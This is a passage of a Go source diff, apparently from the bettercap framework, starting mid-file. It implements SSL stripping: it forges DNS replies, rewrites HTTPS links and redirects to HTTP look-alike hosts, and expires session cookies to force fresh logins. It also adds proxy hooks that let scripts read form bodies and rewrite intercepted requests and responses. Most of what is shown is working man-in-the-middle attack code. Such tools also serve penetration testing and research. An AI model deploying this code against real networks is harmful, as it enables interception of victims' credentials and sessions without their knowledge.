|
||||
SrcMAC: peth.DstMAC,
|
||||
DstMAC: target,
|
||||
EthernetType: layers.EthernetTypeIPv4,
|
||||
}
|
||||
|
||||
answers := make([]layers.DNSResourceRecord, 0)
|
||||
for _, q := range req.Questions {
|
||||
answers = append(answers,
|
||||
layers.DNSResourceRecord{
|
||||
Name: []byte(q.Name),
|
||||
Type: q.Type,
|
||||
Class: q.Class,
|
||||
TTL: 1024,
|
||||
IP: address,
|
||||
})
|
||||
}
|
||||
|
||||
dns := layers.DNS{
|
||||
ID: req.ID,
|
||||
QR: true,
|
||||
OpCode: layers.DNSOpCodeQuery,
|
||||
QDCount: req.QDCount,
|
||||
Questions: req.Questions,
|
||||
Answers: answers,
|
||||
}
|
||||
|
||||
ip4 := layers.IPv4{
|
||||
Protocol: layers.IPProtocolUDP,
|
||||
Version: 4,
|
||||
TTL: 64,
|
||||
SrcIP: src,
|
||||
DstIP: dst,
|
||||
}
|
||||
|
||||
udp := layers.UDP{
|
||||
SrcPort: pudp.DstPort,
|
||||
DstPort: pudp.SrcPort,
|
||||
}
|
||||
|
||||
udp.SetNetworkLayerForChecksum(&ip4)
|
||||
|
||||
var raw []byte
|
||||
err, raw = packets.Serialize(ð, &ip4, &udp, &dns)
|
||||
if err != nil {
|
||||
log.Error("Error serializing packet: %s.", err)
|
||||
return
|
||||
}
|
||||
|
||||
log.Debug("Sending %d bytes of packet ...", len(raw))
|
||||
if err := s.session.Queue.Send(raw); err != nil {
|
||||
log.Error("Error sending packet: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SSLStripper) onPacket(pkt gopacket.Packet) {
|
||||
typeEth := pkt.Layer(layers.LayerTypeEthernet)
|
||||
typeUDP := pkt.Layer(layers.LayerTypeUDP)
|
||||
if typeEth == nil || typeUDP == nil {
|
||||
return
|
||||
}
|
||||
|
||||
eth := typeEth.(*layers.Ethernet)
|
||||
dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS)
|
||||
if parsed && dns.OpCode == layers.DNSOpCodeQuery && len(dns.Questions) > 0 && len(dns.Answers) == 0 {
|
||||
udp := typeUDP.(*layers.UDP)
|
||||
for _, q := range dns.Questions {
|
||||
domain := string(q.Name)
|
||||
original := s.hosts.Unstrip(domain)
|
||||
if original != nil && original.Address != nil {
|
||||
s.dnsReply(pkt, eth, udp, domain, original.Address, dns, eth.SrcMAC)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SSLStripper) Enable(enabled bool) {
|
||||
s.enabled = enabled
|
||||
|
||||
if enabled && s.handle == nil {
|
||||
var err error
|
||||
|
||||
if s.handle, err = pcap.OpenLive(s.session.Interface.Name(), 65536, true, pcap.BlockForever); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
if err = s.handle.SetBPFFilter("udp"); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
|
||||
go func() {
|
||||
defer func() {
|
||||
s.handle.Close()
|
||||
s.handle = nil
|
||||
}()
|
||||
|
||||
for s.enabled {
|
||||
src := gopacket.NewPacketSource(s.handle, s.handle.LinkType())
|
||||
s.pktSourceChan = src.Packets()
|
||||
for packet := range s.pktSourceChan {
|
||||
if !s.enabled {
|
||||
break
|
||||
}
|
||||
|
||||
s.onPacket(packet)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
func (s *SSLStripper) isContentStrippable(res *http.Response) bool {
|
||||
for name, values := range res.Header {
|
||||
for _, value := range values {
|
||||
if name == "Content-Type" {
|
||||
return strings.HasPrefix(value, "text/") || strings.Contains(value, "javascript")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
func (s *SSLStripper) processURL(url string) string {
|
||||
// first we remove the https schema
|
||||
url = strings.Replace(url, "https://", "http://", 1)
|
||||
|
||||
// search for a known subdomain and replace it
|
||||
found := false
|
||||
for sub, repl := range subdomains {
|
||||
what := fmt.Sprintf("://%s", sub)
|
||||
with := fmt.Sprintf("://%s", repl)
|
||||
if strings.Contains(url, what) {
|
||||
url = strings.Replace(url, what, with, 1)
|
||||
found = true
|
||||
break
|
||||
}
|
||||
}
|
||||
// fallback
|
||||
if !found {
|
||||
url = strings.Replace(url, "://", "://wwww.", 1)
|
||||
}
|
||||
|
||||
return url
|
||||
}
|
||||
|
||||
// sslstrip preprocessing, takes care of:
|
||||
//
|
||||
// - handling stripped domains
|
||||
// - making unknown session cookies expire
|
||||
func (s *SSLStripper) Preprocess(req *http.Request, ctx *goproxy.ProxyCtx) (redir *http.Response) {
|
||||
if !s.enabled {
|
||||
return
|
||||
}
|
||||
|
||||
// well ...
|
||||
if req.URL.Scheme == "https" {
|
||||
// TODO: check for max redirects?
|
||||
req.URL.Scheme = "http"
|
||||
}
|
||||
|
||||
// handle stripped domains
|
||||
original := s.hosts.Unstrip(req.Host)
|
||||
if original != nil {
|
||||
log.Info("[%s] Replacing host %s with %s in request from %s", tui.Green("sslstrip"), tui.Bold(req.Host), tui.Yellow(original.Hostname), req.RemoteAddr)
|
||||
req.Host = original.Hostname
|
||||
req.URL.Host = original.Hostname
|
||||
req.Header.Set("Host", original.Hostname)
|
||||
}
|
||||
|
||||
if !s.cookies.IsClean(req) {
|
||||
// check if we need to redirect the user in order
|
||||
// to make unknown session cookies expire
|
||||
log.Info("[%s] Sending expired cookies for %s to %s", tui.Green("sslstrip"), tui.Yellow(req.Host), req.RemoteAddr)
|
||||
s.cookies.Track(req)
|
||||
redir = s.cookies.Expire(req)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (s *SSLStripper) isMaxRedirs(hostname string) bool {
|
||||
// did we already track redirections for this host?
|
||||
if nredirs, found := s.redirs[hostname]; found {
|
||||
// reached the threshold?
|
||||
if nredirs >= maxRedirs {
|
||||
log.Warning("[%s] Hit max redirections for %s, serving HTTPS.", tui.Green("sslstrip"), hostname)
|
||||
// reset
|
||||
delete(s.redirs, hostname)
|
||||
return true
|
||||
} else {
|
||||
// increment
|
||||
s.redirs[hostname]++
|
||||
}
|
||||
} else {
|
||||
// start tracking redirections
|
||||
s.redirs[hostname] = 1
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (s *SSLStripper) Process(res *http.Response, ctx *goproxy.ProxyCtx) {
|
||||
if !s.enabled {
|
||||
return
|
||||
}
|
||||
|
||||
// is the server redirecting us?
|
||||
if res.StatusCode != 200 {
|
||||
// extract Location header
|
||||
if location, err := res.Location(); location != nil && err == nil {
|
||||
orig := res.Request.URL
|
||||
origHost := orig.Hostname()
|
||||
newHost := location.Host
|
||||
newURL := location.String()
|
||||
|
||||
// are we getting redirected from http to https?
|
||||
if orig.Scheme == "http" && location.Scheme == "https" {
|
||||
|
||||
log.Info("[%s] Got redirection from HTTP to HTTPS: %s -> %s", tui.Green("sslstrip"), tui.Yellow("http://"+origHost), tui.Bold("https://"+newHost))
|
||||
|
||||
// if we still did not reach max redirections, strip the URL down to
|
||||
// an alternative HTTP version
|
||||
if !s.isMaxRedirs(origHost) {
|
||||
strippedURL := s.processURL(newURL)
|
||||
u, _ := url.Parse(strippedURL)
|
||||
hostStripped := u.Hostname()
|
||||
|
||||
s.hosts.Track(origHost, hostStripped)
|
||||
|
||||
res.Header.Set("Location", strippedURL)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// if we have a text or html content type, fetch the body
|
||||
// and perform sslstripping
|
||||
if s.isContentStrippable(res) {
|
||||
raw, err := ioutil.ReadAll(res.Body)
|
||||
if err != nil {
|
||||
log.Error("Could not read response body: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
body := string(raw)
|
||||
urls := make(map[string]string)
|
||||
matches := httpsLinksParser.FindAllString(body, -1)
|
||||
for _, u := range matches {
|
||||
// make sure we only strip stuff we're able to
|
||||
// resolve and process
|
||||
if strings.ContainsRune(u, '.') {
|
||||
urls[u] = s.processURL(u)
|
||||
}
|
||||
}
|
||||
|
||||
nurls := len(urls)
|
||||
if nurls > 0 {
|
||||
plural := "s"
|
||||
if nurls == 1 {
|
||||
plural = ""
|
||||
}
|
||||
log.Info("[%s] Stripping %d SSL link%s from %s", tui.Green("sslstrip"), nurls, plural, tui.Bold(res.Request.Host))
|
||||
}
|
||||
|
||||
for url, stripped := range urls {
|
||||
log.Debug("Stripping url %s to %s", tui.Bold(url), tui.Yellow(stripped))
|
||||
|
||||
body = strings.Replace(body, url, stripped, -1)
|
||||
|
||||
hostOriginal := strings.Replace(url, "https://", "", 1)
|
||||
hostStripped := strings.Replace(stripped, "http://", "", 1)
|
||||
s.hosts.Track(hostOriginal, hostStripped)
|
||||
}
|
||||
|
||||
// reset the response body to the original unread state
|
||||
// but with just a string reader, this way further calls
|
||||
// to ioutil.ReadAll(res.Body) will just return the content
|
||||
// we stripped without downloading anything again.
|
||||
res.Body = ioutil.NopCloser(strings.NewReader(body))
|
||||
}
|
||||
}
|
33
modules/http_proxy/http_proxy_cert_cache.go
Normal file
33
modules/http_proxy/http_proxy_cert_cache.go
Normal file
|
@ -0,0 +1,33 @@
|
|||
package http_proxy
|
||||
|
||||
import (
|
||||
"crypto/tls"
|
||||
"fmt"
|
||||
"sync"
|
||||
)
|
||||
|
||||
var (
|
||||
certCache = make(map[string]*tls.Certificate)
|
||||
certLock = &sync.Mutex{}
|
||||
)
|
||||
|
||||
func getCachedCert(domain string, port int) *tls.Certificate {
|
||||
key := fmt.Sprintf("%s:%d", domain, port)
|
||||
|
||||
certLock.Lock()
|
||||
defer certLock.Unlock()
|
||||
|
||||
if cert, found := certCache[key]; found {
|
||||
return cert
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func setCachedCert(domain string, port int, cert *tls.Certificate) {
|
||||
key := fmt.Sprintf("%s:%d", domain, port)
|
||||
|
||||
certLock.Lock()
|
||||
defer certLock.Unlock()
|
||||
|
||||
certCache[key] = cert
|
||||
}
|
192
modules/http_proxy/http_proxy_js_request.go
Normal file
192
modules/http_proxy/http_proxy_js_request.go
Normal file
|
@ -0,0 +1,192 @@
|
|||
package http_proxy
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type JSRequest struct {
|
||||
Client string
|
||||
Method string
|
||||
Version string
|
||||
Scheme string
|
||||
Path string
|
||||
Query string
|
||||
Hostname string
|
||||
ContentType string
|
||||
Headers string
|
||||
Body string
|
||||
|
||||
req *http.Request
|
||||
refHash string
|
||||
bodyRead bool
|
||||
}
|
||||
|
||||
var header_regexp = regexp.MustCompile(`(.*?): (.*)`)
|
||||
|
||||
func NewJSRequest(req *http.Request) *JSRequest {
|
||||
headers := ""
|
||||
cType := ""
|
||||
|
||||
for name, values := range req.Header {
|
||||
for _, value := range values {
|
||||
headers += name + ": " + value + "\r\n"
|
||||
|
||||
if strings.ToLower(name) == "content-type" {
|
||||
cType = value
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
jreq := &JSRequest{
|
||||
Client: strings.Split(req.RemoteAddr, ":")[0],
|
||||
Method: req.Method,
|
||||
Version: fmt.Sprintf("%d.%d", req.ProtoMajor, req.ProtoMinor),
|
||||
Scheme: req.URL.Scheme,
|
||||
Hostname: req.Host,
|
||||
Path: req.URL.Path,
|
||||
Query: req.URL.RawQuery,
|
||||
ContentType: cType,
|
||||
Headers: headers,
|
||||
|
||||
req: req,
|
||||
bodyRead: false,
|
||||
}
|
||||
jreq.UpdateHash()
|
||||
|
||||
return jreq
|
||||
}
|
||||
|
||||
func (j *JSRequest) NewHash() string {
|
||||
hash := fmt.Sprintf("%s.%s.%s.%s.%s.%s.%s.%s.%s", j.Client, j.Method, j.Version, j.Scheme, j.Hostname, j.Path, j.Query, j.ContentType, j.Headers)
|
||||
hash += "." + j.Body
|
||||
return hash
|
||||
}
|
||||
|
||||
func (j *JSRequest) UpdateHash() {
|
||||
j.refHash = j.NewHash()
|
||||
}
|
||||
|
||||
func (j *JSRequest) WasModified() bool {
|
||||
// body was read
|
||||
if j.bodyRead {
|
||||
return true
|
||||
}
|
||||
// check if any of the fields has been changed
|
||||
return j.NewHash() != j.refHash
|
||||
}
|
||||
|
||||
func (j *JSRequest) GetHeader(name, deflt string) string {
|
||||
headers := strings.Split(j.Headers, "\r\n")
|
||||
for i := 0; i < len(headers); i++ {
|
||||
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
|
||||
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
|
||||
|
||||
if strings.ToLower(name) == strings.ToLower(header_name) {
|
||||
return header_value
|
||||
}
|
||||
}
|
||||
return deflt
|
||||
}
|
||||
|
||||
func (j *JSRequest) SetHeader(name, value string) {
|
||||
headers := strings.Split(j.Headers, "\r\n")
|
||||
for i := 0; i < len(headers); i++ {
|
||||
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
|
||||
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
|
||||
|
||||
if strings.ToLower(name) == strings.ToLower(header_name) {
|
||||
old_header := header_name + ": " + header_value + "\r\n"
|
||||
new_header := header_name + ": " + value + "\r\n"
|
||||
j.Headers = strings.Replace(j.Headers, old_header, new_header, 1)
|
||||
return
|
||||
}
|
||||
}
|
||||
j.Headers += name + ": " + value + "\r\n"
|
||||
}
|
||||
|
||||
func (j *JSRequest) RemoveHeader(name string) {
|
||||
headers := strings.Split(j.Headers, "\r\n")
|
||||
for i := 0; i < len(headers); i++ {
|
||||
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
|
||||
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
|
||||
|
||||
if strings.ToLower(name) == strings.ToLower(header_name) {
|
||||
removed_header := header_name + ": " + header_value + "\r\n"
|
||||
j.Headers = strings.Replace(j.Headers, removed_header, "", 1)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (j *JSRequest) ReadBody() string {
|
||||
raw, err := ioutil.ReadAll(j.req.Body)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
j.Body = string(raw)
|
||||
j.bodyRead = true
|
||||
// reset the request body to the original unread state
|
||||
j.req.Body = ioutil.NopCloser(bytes.NewBuffer(raw))
|
||||
|
||||
return j.Body
|
||||
}
|
||||
|
||||
func (j *JSRequest) ParseForm() map[string]string {
|
||||
if j.Body == "" {
|
||||
j.Body = j.ReadBody()
|
||||
}
|
||||
|
||||
form := make(map[string]string)
|
||||
parts := strings.Split(j.Body, "&")
|
||||
|
||||
for _, part := range parts {
|
||||
nv := strings.SplitN(part, "=", 2)
|
||||
if len(nv) == 2 {
|
||||
unescaped, err := url.QueryUnescape(nv[1])
|
||||
if err == nil {
|
||||
form[nv[0]] = unescaped
|
||||
} else {
|
||||
form[nv[0]] = nv[1]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return form
|
||||
}
|
||||
|
||||
func (j *JSRequest) ToRequest() (req *http.Request) {
|
||||
url := fmt.Sprintf("%s://%s:%s%s?%s", j.Scheme, j.Hostname, j.req.URL.Port(), j.Path, j.Query)
|
||||
if j.Body == "" {
|
||||
req, _ = http.NewRequest(j.Method, url, j.req.Body)
|
||||
} else {
|
||||
req, _ = http.NewRequest(j.Method, url, strings.NewReader(j.Body))
|
||||
}
|
||||
|
||||
hadType := false
|
||||
|
||||
headers := strings.Split(j.Headers, "\r\n")
|
||||
for i := 0; i < len(headers); i++ {
|
||||
if headers[i] != "" {
|
||||
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
|
||||
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
|
||||
|
||||
req.Header.Set(header_name, header_value)
|
||||
if strings.ToLower(header_name) == "content-type" {
|
||||
hadType = true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !hadType && j.ContentType != "" {
|
||||
req.Header.Set("Content-Type", j.ContentType)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
158
modules/http_proxy/http_proxy_js_response.go
Normal file
158
modules/http_proxy/http_proxy_js_response.go
Normal file
|
@ -0,0 +1,158 @@
|
|||
package http_proxy
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"github.com/elazarl/goproxy"
|
||||
)
|
||||
|
||||
type JSResponse struct {
|
||||
Status int
|
||||
ContentType string
|
||||
Headers string
|
||||
Body string
|
||||
|
||||
refHash string
|
||||
resp *http.Response
|
||||
bodyRead bool
|
||||
bodyClear bool
|
||||
}
|
||||
|
||||
func NewJSResponse(res *http.Response) *JSResponse {
|
||||
cType := ""
|
||||
headers := ""
|
||||
code := 200
|
||||
|
||||
if res != nil {
|
||||
code = res.StatusCode
|
||||
for name, values := range res.Header {
|
||||
for _, value := range values {
|
||||
headers += name + ": " + value + "\r\n"
|
||||
|
||||
if strings.ToLower(name) == "content-type" {
|
||||
cType = value
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
resp := &JSResponse{
|
||||
Status: code,
|
||||
ContentType: cType,
|
||||
Headers: headers,
|
||||
resp: res,
|
||||
bodyRead: false,
|
||||
bodyClear: false,
|
||||
}
|
||||
resp.UpdateHash()
|
||||
|
||||
return resp
|
||||
}
|
||||
|
||||
func (j *JSResponse) NewHash() string {
|
||||
return fmt.Sprintf("%d.%s.%s", j.Status, j.ContentType, j.Headers)
|
||||
}
|
||||
|
||||
func (j *JSResponse) UpdateHash() {
|
||||
j.refHash = j.NewHash()
|
||||
}
|
||||
|
||||
func (j *JSResponse) WasModified() bool {
|
||||
if j.bodyRead {
|
||||
// body was read
|
||||
return true
|
||||
} else if j.bodyClear {
|
||||
// body was cleared manually
|
||||
return true
|
||||
} else if j.Body != "" {
|
||||
// body was not read but just set
|
||||
return true
|
||||
}
|
||||
// check if any of the fields has been changed
|
||||
return j.NewHash() != j.refHash
|
||||
}
|
||||
|
||||
func (j *JSResponse) GetHeader(name, deflt string) string {
|
||||
headers := strings.Split(j.Headers, "\r\n")
|
||||
for i := 0; i < len(headers); i++ {
|
||||
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
|
||||
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
|
||||
|
||||
if strings.ToLower(name) == strings.ToLower(header_name) {
|
||||
return header_value
|
||||
}
|
||||
}
|
||||
return deflt
|
||||
}
|
||||
|
||||
func (j *JSResponse) SetHeader(name, value string) {
|
||||
headers := strings.Split(j.Headers, "\r\n")
|
||||
for i := 0; i < len(headers); i++ {
|
||||
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
|
||||
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
|
||||
|
||||
if strings.ToLower(name) == strings.ToLower(header_name) {
|
||||
old_header := header_name + ": " + header_value + "\r\n"
|
||||
new_header := header_name + ": " + value + "\r\n"
|
||||
j.Headers = strings.Replace(j.Headers, old_header, new_header, 1)
|
||||
return
|
||||
}
|
||||
}
|
||||
j.Headers += name + ": " + value + "\r\n"
|
||||
}
|
||||
|
||||
func (j *JSResponse) RemoveHeader(name string) {
|
||||
headers := strings.Split(j.Headers, "\r\n")
|
||||
for i := 0; i < len(headers); i++ {
|
||||
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
|
||||
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
|
||||
|
||||
if strings.ToLower(name) == strings.ToLower(header_name) {
|
||||
removed_header := header_name + ": " + header_value + "\r\n"
|
||||
j.Headers = strings.Replace(j.Headers, removed_header, "", 1)
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (j *JSResponse) ClearBody() {
|
||||
j.Body = ""
|
||||
j.bodyClear = true
|
||||
}
|
||||
|
||||
func (j *JSResponse) ToResponse(req *http.Request) (resp *http.Response) {
|
||||
resp = goproxy.NewResponse(req, j.ContentType, j.Status, j.Body)
|
||||
|
||||
headers := strings.Split(j.Headers, "\r\n")
|
||||
for i := 0; i < len(headers); i++ {
|
||||
if headers[i] != "" {
|
||||
header_name := header_regexp.ReplaceAllString(headers[i], "$1")
|
||||
header_value := header_regexp.ReplaceAllString(headers[i], "$2")
|
||||
|
||||
resp.Header.Add(header_name, header_value)
|
||||
}
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (j *JSResponse) ReadBody() string {
|
||||
defer j.resp.Body.Close()
|
||||
|
||||
raw, err := ioutil.ReadAll(j.resp.Body)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
j.Body = string(raw)
|
||||
j.bodyRead = true
|
||||
j.bodyClear = false
|
||||
// reset the response body to the original unread state
|
||||
j.resp.Body = ioutil.NopCloser(bytes.NewBuffer(raw))
|
||||
|
||||
return j.Body
|
||||
}
|
100
modules/http_proxy/http_proxy_script.go
Normal file
100
modules/http_proxy/http_proxy_script.go
Normal file
|
@ -0,0 +1,100 @@
|
|||
package http_proxy
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
|
||||
"github.com/bettercap/bettercap/log"
|
||||
"github.com/bettercap/bettercap/session"
|
||||
|
||||
"github.com/robertkrimen/otto"
|
||||
|
||||
"github.com/evilsocket/islazy/plugin"
|
||||
)
|
||||
|
||||
type HttpProxyScript struct {
|
||||
*plugin.Plugin
|
||||
|
||||
doOnRequest bool
|
||||
doOnResponse bool
|
||||
doOnCommand bool
|
||||
}
|
||||
|
||||
func LoadHttpProxyScript(path string, sess *session.Session) (err error, s *HttpProxyScript) {
|
||||
log.Info("loading proxy script %s ...", path)
|
||||
|
||||
plug, err := plugin.Load(path)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// define session pointer
|
||||
if err = plug.Set("env", sess.Env.Data); err != nil {
|
||||
log.Error("Error while defining environment: %+v", err)
|
||||
return
|
||||
}
|
||||
|
||||
// run onLoad if defined
|
||||
if plug.HasFunc("onLoad") {
|
||||
if _, err = plug.Call("onLoad"); err != nil {
|
||||
log.Error("Error while executing onLoad callback: %s", "\nTraceback:\n "+err.(*otto.Error).String())
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
s = &HttpProxyScript{
|
||||
Plugin: plug,
|
||||
doOnRequest: plug.HasFunc("onRequest"),
|
||||
doOnResponse: plug.HasFunc("onResponse"),
|
||||
doOnCommand: plug.HasFunc("onCommand"),
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (s *HttpProxyScript) OnRequest(original *http.Request) (jsreq *JSRequest, jsres *JSResponse) {
|
||||
if s.doOnRequest {
|
||||
jsreq := NewJSRequest(original)
|
||||
jsres := NewJSResponse(nil)
|
||||
|
||||
if _, err := s.Call("onRequest", jsreq, jsres); err != nil {
|
||||
log.Error("%s", err)
|
||||
return nil, nil
|
||||
} else if jsreq.WasModified() {
|
||||
jsreq.UpdateHash()
|
||||
return jsreq, nil
|
||||
} else if jsres.WasModified() {
|
||||
jsres.UpdateHash()
|
||||
return nil, jsres
|
||||
}
|
||||
}
|
||||
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (s *HttpProxyScript) OnResponse(res *http.Response) (jsreq *JSRequest, jsres *JSResponse) {
|
||||
if s.doOnResponse {
|
||||
jsreq := NewJSRequest(res.Request)
|
||||
jsres := NewJSResponse(res)
|
||||
|
||||
if _, err := s.Call("onResponse", jsreq, jsres); err != nil {
|
||||
log.Error("%s", err)
|
||||
return nil, nil
|
||||
} else if jsres.WasModified() {
|
||||
jsres.UpdateHash()
|
||||
return nil, jsres
|
||||
}
|
||||
}
|
||||
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (s *HttpProxyScript) OnCommand(cmd string) bool {
|
||||
if s.doOnCommand {
|
||||
if ret, err := s.Call("onCommand", cmd); err != nil {
|
||||
log.Error("Error while executing onCommand callback: %+v", err)
|
||||
return false
|
||||
} else if v, ok := ret.(bool); ok {
|
||||
return v
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
Loading…
Add table
Add a link
Reference in a new issue